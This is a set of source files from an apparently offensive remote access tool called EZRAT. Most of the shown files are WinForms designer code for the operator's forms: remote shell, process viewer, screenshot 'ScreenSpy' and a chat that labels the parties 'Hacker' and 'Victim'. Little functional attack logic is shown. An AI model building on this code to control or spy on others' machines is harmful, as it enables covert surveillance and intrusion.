39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 | ResXFileCodeGenerator
52 | Resources.Designer.cs
53 | Designer
54 |
55 |
56 | True
57 | Resources.resx
58 |
59 |
60 | SettingsSingleFileGenerator
61 | Settings.Designer.cs
62 |
63 |
64 | True
65 | Settings.settings
66 | True
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/RenameFile.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace EZRATServer.Forms
2 | {
3 | partial class RenameFile
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.tbxName = new System.Windows.Forms.TextBox();
32 | this.lblName = new System.Windows.Forms.Label();
33 | this.btnValidate = new System.Windows.Forms.Button();
34 | this.SuspendLayout();
35 | //
36 | // tbxName
37 | //
38 | this.tbxName.Location = new System.Drawing.Point(55, 47);
39 | this.tbxName.Name = "tbxName";
40 | this.tbxName.Size = new System.Drawing.Size(170, 20);
41 | this.tbxName.TabIndex = 0;
42 | //
43 | // lblName
44 | //
45 | this.lblName.AutoSize = true;
46 | this.lblName.Location = new System.Drawing.Point(8, 50);
47 | this.lblName.Name = "lblName";
48 | this.lblName.Size = new System.Drawing.Size(47, 13);
49 | this.lblName.TabIndex = 1;
50 | this.lblName.Text = "Name : ";
51 | //
52 | // btnValidate
53 | //
54 | this.btnValidate.Location = new System.Drawing.Point(231, 46);
55 | this.btnValidate.Name = "btnValidate";
56 | this.btnValidate.Size = new System.Drawing.Size(75, 23);
57 | this.btnValidate.TabIndex = 2;
58 | this.btnValidate.Text = "Save";
59 | this.btnValidate.UseVisualStyleBackColor = true;
60 | //
61 | // RenameFile
62 | //
63 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
64 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
65 | this.ClientSize = new System.Drawing.Size(339, 97);
66 | this.Controls.Add(this.btnValidate);
67 | this.Controls.Add(this.lblName);
68 | this.Controls.Add(this.tbxName);
69 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
70 | this.MaximizeBox = false;
71 | this.Name = "RenameFile";
72 | this.ShowIcon = false;
73 | this.Text = "RenameFile";
74 | this.ResumeLayout(false);
75 | this.PerformLayout();
76 |
77 | }
78 |
79 | #endregion
80 |
81 | private System.Windows.Forms.TextBox tbxName;
82 | private System.Windows.Forms.Label lblName;
83 | private System.Windows.Forms.Button btnValidate;
84 | }
85 | }
--------------------------------------------------------------------------------
/EZRATServer/Forms/Starting.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace EZRATServer.Forms
2 | {
3 | partial class Starting
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.tbxPort = new System.Windows.Forms.TextBox();
32 | this.lblPort = new System.Windows.Forms.Label();
33 | this.btnOK = new System.Windows.Forms.Button();
34 | this.SuspendLayout();
35 | //
36 | // tbxPort
37 | //
38 | this.tbxPort.Location = new System.Drawing.Point(77, 15);
39 | this.tbxPort.Name = "tbxPort";
40 | this.tbxPort.Size = new System.Drawing.Size(118, 20);
41 | this.tbxPort.TabIndex = 0;
42 | //
43 | // lblPort
44 | //
45 | this.lblPort.AutoSize = true;
46 | this.lblPort.Location = new System.Drawing.Point(36, 18);
47 | this.lblPort.Name = "lblPort";
48 | this.lblPort.Size = new System.Drawing.Size(35, 13);
49 | this.lblPort.TabIndex = 1;
50 | this.lblPort.Text = "Port : ";
51 | //
52 | // btnOK
53 | //
54 | this.btnOK.BackColor = System.Drawing.SystemColors.ControlLight;
55 | this.btnOK.Location = new System.Drawing.Point(227, 11);
56 | this.btnOK.Name = "btnOK";
57 | this.btnOK.Size = new System.Drawing.Size(68, 26);
58 | this.btnOK.TabIndex = 2;
59 | this.btnOK.Text = "OK";
60 | this.btnOK.UseVisualStyleBackColor = false;
61 | //
62 | // Starting
63 | //
64 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
65 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
66 | this.BackColor = System.Drawing.Color.WhiteSmoke;
67 | this.ClientSize = new System.Drawing.Size(325, 49);
68 | this.Controls.Add(this.btnOK);
69 | this.Controls.Add(this.lblPort);
70 | this.Controls.Add(this.tbxPort);
71 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
72 | this.MaximizeBox = false;
73 | this.MinimizeBox = false;
74 | this.Name = "Starting";
75 | this.ShowIcon = false;
76 | this.Text = "Starting";
77 | this.ResumeLayout(false);
78 | this.PerformLayout();
79 |
80 | }
81 |
82 | #endregion
83 |
84 | private System.Windows.Forms.TextBox tbxPort;
85 | private System.Windows.Forms.Label lblPort;
86 | private System.Windows.Forms.Button btnOK;
87 | }
88 | }
--------------------------------------------------------------------------------
/EZRATClient/Forms/Chat.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace EZRATClient.Forms
2 | {
3 | partial class Chat
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.rtbMsg = new System.Windows.Forms.RichTextBox();
32 | this.tbxMsg = new System.Windows.Forms.TextBox();
33 | this.btnSend = new System.Windows.Forms.Button();
34 | this.SuspendLayout();
35 | //
36 | // rtbMsg
37 | //
38 | this.rtbMsg.BackColor = System.Drawing.Color.DarkGray;
39 | this.rtbMsg.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
40 | this.rtbMsg.Location = new System.Drawing.Point(0, -1);
41 | this.rtbMsg.Name = "rtbMsg";
42 | this.rtbMsg.ReadOnly = true;
43 | this.rtbMsg.Size = new System.Drawing.Size(596, 266);
44 | this.rtbMsg.TabIndex = 0;
45 | this.rtbMsg.Text = "";
46 | //
47 | // tbxMsg
48 | //
49 | this.tbxMsg.BackColor = System.Drawing.Color.LightGray;
50 | this.tbxMsg.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
51 | this.tbxMsg.Location = new System.Drawing.Point(1, 266);
52 | this.tbxMsg.Name = "tbxMsg";
53 | this.tbxMsg.Size = new System.Drawing.Size(518, 20);
54 | this.tbxMsg.TabIndex = 2;
55 | //
56 | // btnSend
57 | //
58 | this.btnSend.BackColor = System.Drawing.Color.LightGray;
59 | this.btnSend.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
60 | this.btnSend.Location = new System.Drawing.Point(519, 263);
61 | this.btnSend.Name = "btnSend";
62 | this.btnSend.Size = new System.Drawing.Size(75, 25);
63 | this.btnSend.TabIndex = 3;
64 | this.btnSend.Text = "Send";
65 | this.btnSend.UseVisualStyleBackColor = false;
66 | //
67 | // Chat
68 | //
69 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
70 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
71 | this.BackColor = System.Drawing.Color.DarkGray;
72 | this.ClientSize = new System.Drawing.Size(597, 290);
73 | this.Controls.Add(this.btnSend);
74 | this.Controls.Add(this.tbxMsg);
75 | this.Controls.Add(this.rtbMsg);
76 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
77 | this.MaximizeBox = false;
78 | this.MinimizeBox = false;
79 | this.Name = "Chat";
80 | this.ShowIcon = false;
81 | this.ShowInTaskbar = false;
82 | this.Text = "Chat";
83 | this.TopMost = true;
84 | this.ResumeLayout(false);
85 | this.PerformLayout();
86 |
87 | }
88 |
89 | #endregion
90 |
91 | private System.Windows.Forms.RichTextBox rtbMsg;
92 | private System.Windows.Forms.TextBox tbxMsg;
93 | private System.Windows.Forms.Button btnSend;
94 | }
95 | }
--------------------------------------------------------------------------------
/EZRATServer/Forms/Chat.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Threading.Tasks;
9 | using System.Windows.Forms;
10 |
11 | namespace EZRATServer.Forms
12 | {
13 | public partial class Chat : Form
14 | {
15 |
16 | private List _texted = new List();
17 |
18 | public List Texted
19 | {
20 | get { return _texted; }
21 | set { _texted = value; }
22 | }
23 |
24 | private string _serverName;
25 |
26 | public string ServerName
27 | {
28 | get { return _serverName + " : "; }
29 | set { _serverName = value; }
30 | }
31 |
32 | private string _victimName;
33 |
34 | public string VictimName
35 | {
36 | get { return _victimName + " : "; }
37 | set { _victimName = value; }
38 | }
39 |
40 | private int _id;
41 |
42 | public int Id
43 | {
44 | get { return _id; }
45 | set { _id = value; }
46 | }
47 |
48 |
49 | private Server _parent;
50 |
51 |
52 | public Chat(Server parent, int id, string message = "")
53 | {
54 | this._parent = parent;
55 | this.Id = id;
56 | InitializeComponent();
57 | this.btnSend.Click += SendMessageChat;
58 | this.btnGet.Click += GetAllData;
59 | this.Text = "Chat";
60 | this.VictimName = "Hacker";
61 | this.ServerName = "Victim";
62 | if (message != "")
63 | {
64 | this.Texted.Add(this.ServerName + message);
65 | this.rtbMsg.Text += this.ServerName + message + Environment.NewLine;
66 | }
67 | }
68 |
69 | private void GetAllData(object sender, EventArgs e)
70 | {
71 | this._parent.SendCommand("chatdata;", this.Id);
72 | }
73 |
74 | public void UpdateAllData(string[] lstMsg)
75 | {
76 | for (int i = 0; i < lstMsg.Length; i++)
77 | {
78 | AddBruteMessage(lstMsg[i]);
79 | }
80 | }
81 |
82 | private void SendMessageChat(object sender, EventArgs e)
83 | {
84 | string msg = string.Empty;
85 | this.tbxMsg.Invoke(new MethodInvoker(() => msg = this.tbxMsg.Text));
86 | this.tbxMsg.Invoke(new MethodInvoker(() => this.tbxMsg.Text = string.Empty));
87 | this._parent.SendCommand("chat;" + msg, this.Id);
88 | this.Texted.Add(this.VictimName + msg);
89 | AddMessage(msg, 1);
90 | }
91 |
92 |
93 | public void NewMessage(string message)
94 | {
95 | this.Texted.Add(this.ServerName + message + Environment.NewLine);
96 | AddMessage(message, 0);
97 | }
98 |
99 |
100 | private void AddMessage(string message, int user)
101 | {
102 | if (this.rtbMsg.InvokeRequired)
103 | {
104 | this.rtbMsg.Invoke(new MethodInvoker(() => this.rtbMsg.Text += ((user == 0) ? this.ServerName : this.VictimName) + message + Environment.NewLine));
105 | }
106 | else
107 | {
108 | this.rtbMsg.Text += ((user == 0) ? this.ServerName : this.VictimName) + message + Environment.NewLine;
109 | }
110 | }
111 |
112 | private void AddBruteMessage(string message)
113 | {
114 | if (this.rtbMsg.InvokeRequired)
115 | {
116 | this.rtbMsg.Invoke(new MethodInvoker(() => this.rtbMsg.Text += message + Environment.NewLine));
117 | }
118 | else
119 | {
120 | this.rtbMsg.Text += message + Environment.NewLine;
121 | }
122 | }
123 | }
124 | }
125 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/ScreenShotViewer.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace EZRATServer.Forms
2 | {
3 | partial class ScreenShotViewer
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ScreenShotViewer));
32 | this.pib = new System.Windows.Forms.PictureBox();
33 | this.statusStrip1 = new System.Windows.Forms.StatusStrip();
34 | this.lblStatus = new System.Windows.Forms.ToolStripStatusLabel();
35 | ((System.ComponentModel.ISupportInitialize)(this.pib)).BeginInit();
36 | this.statusStrip1.SuspendLayout();
37 | this.SuspendLayout();
38 | //
39 | // pib
40 | //
41 | this.pib.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
42 | | System.Windows.Forms.AnchorStyles.Left)
43 | | System.Windows.Forms.AnchorStyles.Right)));
44 | this.pib.Location = new System.Drawing.Point(2, 12);
45 | this.pib.Name = "pib";
46 | this.pib.Size = new System.Drawing.Size(779, 424);
47 | this.pib.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
48 | this.pib.TabIndex = 0;
49 | this.pib.TabStop = false;
50 | //
51 | // statusStrip1
52 | //
53 | this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
54 | this.lblStatus});
55 | this.statusStrip1.Location = new System.Drawing.Point(0, 439);
56 | this.statusStrip1.Name = "statusStrip1";
57 | this.statusStrip1.Size = new System.Drawing.Size(784, 22);
58 | this.statusStrip1.TabIndex = 1;
59 | this.statusStrip1.Text = "statusStrip1";
60 | //
61 | // lblStatus
62 | //
63 | this.lblStatus.Name = "lblStatus";
64 | this.lblStatus.Size = new System.Drawing.Size(100, 17);
65 | this.lblStatus.Text = "ScreenSpy started";
66 | //
67 | // ScreenShotViewer
68 | //
69 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
70 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
71 | this.ClientSize = new System.Drawing.Size(784, 461);
72 | this.Controls.Add(this.statusStrip1);
73 | this.Controls.Add(this.pib);
74 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
75 | this.Name = "ScreenShotViewer";
76 | this.Text = "ScreenShotViewer";
77 | ((System.ComponentModel.ISupportInitialize)(this.pib)).EndInit();
78 | this.statusStrip1.ResumeLayout(false);
79 | this.statusStrip1.PerformLayout();
80 | this.ResumeLayout(false);
81 | this.PerformLayout();
82 |
83 | }
84 | #endregion
85 |
86 | private System.Windows.Forms.PictureBox pib;
87 | private System.Windows.Forms.StatusStrip statusStrip1;
88 | private System.Windows.Forms.ToolStripStatusLabel lblStatus;
89 | }
90 | }
--------------------------------------------------------------------------------
/EZRATClient/EZRATClient.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}
8 | Exe
9 | EZRATClient
10 | EZRATClient
11 | v4.0
12 | 512
13 | true
14 |
15 |
16 |
17 |
18 |
19 | AnyCPU
20 | true
21 | full
22 | false
23 | bin\Debug\
24 | DEBUG;TRACE
25 | prompt
26 | 4
27 | true
28 |
29 |
30 | AnyCPU
31 | pdbonly
32 | true
33 | bin\Release\
34 | TRACE
35 | prompt
36 | 4
37 |
38 |
39 | true
40 | bin\x86\Debug\
41 | DEBUG;TRACE
42 | full
43 | x86
44 | 7.3
45 | prompt
46 | MinimumRecommendedRules.ruleset
47 |
48 |
49 | bin\x86\Release\
50 | TRACE
51 | true
52 | pdbonly
53 | x86
54 | 7.3
55 | prompt
56 | MinimumRecommendedRules.ruleset
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 | Form
77 |
78 |
79 | Chat.cs
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 | Chat.cs
94 |
95 |
96 |
97 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/ShellCommand.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace EZRATServer.Forms
2 | {
3 | partial class ShellCommand
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ShellCommand));
32 | this.rtbText = new System.Windows.Forms.RichTextBox();
33 | this.tbxMessage = new System.Windows.Forms.TextBox();
34 | this.statusStrip1 = new System.Windows.Forms.StatusStrip();
35 | this.lblStatus = new System.Windows.Forms.ToolStripStatusLabel();
36 | this.statusStrip1.SuspendLayout();
37 | this.SuspendLayout();
38 | //
39 | // rtbText
40 | //
41 | this.rtbText.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
42 | | System.Windows.Forms.AnchorStyles.Left)
43 | | System.Windows.Forms.AnchorStyles.Right)));
44 | this.rtbText.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
45 | this.rtbText.Location = new System.Drawing.Point(-1, -2);
46 | this.rtbText.Name = "rtbText";
47 | this.rtbText.ReadOnly = true;
48 | this.rtbText.Size = new System.Drawing.Size(793, 360);
49 | this.rtbText.TabIndex = 1;
50 | this.rtbText.Text = "";
51 | //
52 | // tbxMessage
53 | //
54 | this.tbxMessage.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)
55 | | System.Windows.Forms.AnchorStyles.Right)));
56 | this.tbxMessage.Location = new System.Drawing.Point(1, 364);
57 | this.tbxMessage.Name = "tbxMessage";
58 | this.tbxMessage.Size = new System.Drawing.Size(791, 20);
59 | this.tbxMessage.TabIndex = 0;
60 | //
61 | // statusStrip1
62 | //
63 | this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
64 | this.lblStatus});
65 | this.statusStrip1.Location = new System.Drawing.Point(0, 387);
66 | this.statusStrip1.Name = "statusStrip1";
67 | this.statusStrip1.Size = new System.Drawing.Size(793, 22);
68 | this.statusStrip1.TabIndex = 2;
69 | this.statusStrip1.Text = "statusStrip1";
70 | //
71 | // lblStatus
72 | //
73 | this.lblStatus.Name = "lblStatus";
74 | this.lblStatus.Size = new System.Drawing.Size(86, 17);
75 | this.lblStatus.Text = "Command line";
76 | //
77 | // ShellCommand
78 | //
79 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
80 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
81 | this.ClientSize = new System.Drawing.Size(793, 409);
82 | this.Controls.Add(this.statusStrip1);
83 | this.Controls.Add(this.tbxMessage);
84 | this.Controls.Add(this.rtbText);
85 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
86 | this.Name = "ShellCommand";
87 | this.Text = "Command";
88 | this.statusStrip1.ResumeLayout(false);
89 | this.statusStrip1.PerformLayout();
90 | this.ResumeLayout(false);
91 | this.PerformLayout();
92 |
93 | }
94 |
95 | #endregion
96 |
97 | private System.Windows.Forms.RichTextBox rtbText;
98 | private System.Windows.Forms.TextBox tbxMessage;
99 | private System.Windows.Forms.StatusStrip statusStrip1;
100 | private System.Windows.Forms.ToolStripStatusLabel lblStatus;
101 | }
102 | }
--------------------------------------------------------------------------------
/EZRATServer/Forms/ProcessViewer.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace EZRATServer.Forms
2 | {
3 | partial class ProcessViewer
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ProcessViewer));
32 | this.lstProcess = new System.Windows.Forms.ListView();
33 | this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
34 | this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
35 | this.statusStrip1 = new System.Windows.Forms.StatusStrip();
36 | this.lblStatus = new System.Windows.Forms.ToolStripStatusLabel();
37 | this.statusStrip1.SuspendLayout();
38 | this.SuspendLayout();
39 | //
40 | // lstProcess
41 | //
42 | this.lstProcess.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
43 | | System.Windows.Forms.AnchorStyles.Left)
44 | | System.Windows.Forms.AnchorStyles.Right)));
45 | this.lstProcess.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
46 | this.lstProcess.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
47 | this.columnHeader1,
48 | this.columnHeader2});
49 | this.lstProcess.FullRowSelect = true;
50 | this.lstProcess.HideSelection = false;
51 | this.lstProcess.Location = new System.Drawing.Point(-3, -1);
52 | this.lstProcess.MultiSelect = false;
53 | this.lstProcess.Name = "lstProcess";
54 | this.lstProcess.Size = new System.Drawing.Size(578, 426);
55 | this.lstProcess.TabIndex = 0;
56 | this.lstProcess.UseCompatibleStateImageBehavior = false;
57 | this.lstProcess.View = System.Windows.Forms.View.Details;
58 | //
59 | // columnHeader1
60 | //
61 | this.columnHeader1.Text = "Name";
62 | //
63 | // columnHeader2
64 | //
65 | this.columnHeader2.Text = "PID";
66 | //
67 | // statusStrip1
68 | //
69 | this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
70 | this.lblStatus});
71 | this.statusStrip1.Location = new System.Drawing.Point(0, 428);
72 | this.statusStrip1.Name = "statusStrip1";
73 | this.statusStrip1.Size = new System.Drawing.Size(575, 22);
74 | this.statusStrip1.TabIndex = 1;
75 | this.statusStrip1.Text = "statusStrip1";
76 | //
77 | // lblStatus
78 | //
79 | this.lblStatus.Name = "lblStatus";
80 | this.lblStatus.Size = new System.Drawing.Size(117, 17);
81 | this.lblStatus.Text = "Number of process : ";
82 | //
83 | // ProcessViewer
84 | //
85 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
86 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
87 | this.ClientSize = new System.Drawing.Size(575, 450);
88 | this.Controls.Add(this.statusStrip1);
89 | this.Controls.Add(this.lstProcess);
90 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
91 | this.Name = "ProcessViewer";
92 | this.Text = "ProcessViewer";
93 | this.statusStrip1.ResumeLayout(false);
94 | this.statusStrip1.PerformLayout();
95 | this.ResumeLayout(false);
96 | this.PerformLayout();
97 |
98 | }
99 |
100 | #endregion
101 |
102 | private System.Windows.Forms.ListView lstProcess;
103 | private System.Windows.Forms.StatusStrip statusStrip1;
104 | private System.Windows.Forms.ToolStripStatusLabel lblStatus;
105 | private System.Windows.Forms.ColumnHeader columnHeader1;
106 | private System.Windows.Forms.ColumnHeader columnHeader2;
107 | }
108 | }
--------------------------------------------------------------------------------
/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 | text/microsoft-resx
107 |
108 |
109 | 2.0
110 |
111 |
112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
113 |
114 |
115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/Chat.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace EZRATServer.Forms
2 | {
3 | partial class Chat
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Chat));
32 | this.rtbMsg = new System.Windows.Forms.RichTextBox();
33 | this.tbxMsg = new System.Windows.Forms.TextBox();
34 | this.btnSend = new System.Windows.Forms.Button();
35 | this.btnGet = new System.Windows.Forms.Button();
36 | this.SuspendLayout();
37 | //
38 | // rtbMsg
39 | //
40 | this.rtbMsg.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
41 | | System.Windows.Forms.AnchorStyles.Left)
42 | | System.Windows.Forms.AnchorStyles.Right)));
43 | this.rtbMsg.BackColor = System.Drawing.Color.DarkGray;
44 | this.rtbMsg.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
45 | this.rtbMsg.Location = new System.Drawing.Point(0, -1);
46 | this.rtbMsg.Name = "rtbMsg";
47 | this.rtbMsg.ReadOnly = true;
48 | this.rtbMsg.Size = new System.Drawing.Size(596, 267);
49 | this.rtbMsg.TabIndex = 0;
50 | this.rtbMsg.Text = "";
51 | //
52 | // tbxMsg
53 | //
54 | this.tbxMsg.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
55 | | System.Windows.Forms.AnchorStyles.Left)
56 | | System.Windows.Forms.AnchorStyles.Right)));
57 | this.tbxMsg.BackColor = System.Drawing.Color.LightGray;
58 | this.tbxMsg.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
59 | this.tbxMsg.Location = new System.Drawing.Point(1, 266);
60 | this.tbxMsg.Name = "tbxMsg";
61 | this.tbxMsg.Size = new System.Drawing.Size(442, 20);
62 | this.tbxMsg.TabIndex = 2;
63 | //
64 | // btnSend
65 | //
66 | this.btnSend.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
67 | | System.Windows.Forms.AnchorStyles.Left)
68 | | System.Windows.Forms.AnchorStyles.Right)));
69 | this.btnSend.BackColor = System.Drawing.Color.LightGray;
70 | this.btnSend.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
71 | this.btnSend.Location = new System.Drawing.Point(444, 265);
72 | this.btnSend.Name = "btnSend";
73 | this.btnSend.Size = new System.Drawing.Size(75, 25);
74 | this.btnSend.TabIndex = 3;
75 | this.btnSend.Text = "Send";
76 | this.btnSend.UseVisualStyleBackColor = false;
77 | //
78 | // btnGet
79 | //
80 | this.btnGet.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
81 | | System.Windows.Forms.AnchorStyles.Left)
82 | | System.Windows.Forms.AnchorStyles.Right)));
83 | this.btnGet.BackColor = System.Drawing.Color.LightGray;
84 | this.btnGet.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
85 | this.btnGet.Location = new System.Drawing.Point(518, 265);
86 | this.btnGet.Name = "btnGet";
87 | this.btnGet.Size = new System.Drawing.Size(75, 25);
88 | this.btnGet.TabIndex = 4;
89 | this.btnGet.Text = "Get";
90 | this.btnGet.UseVisualStyleBackColor = false;
91 | //
92 | // Chat
93 | //
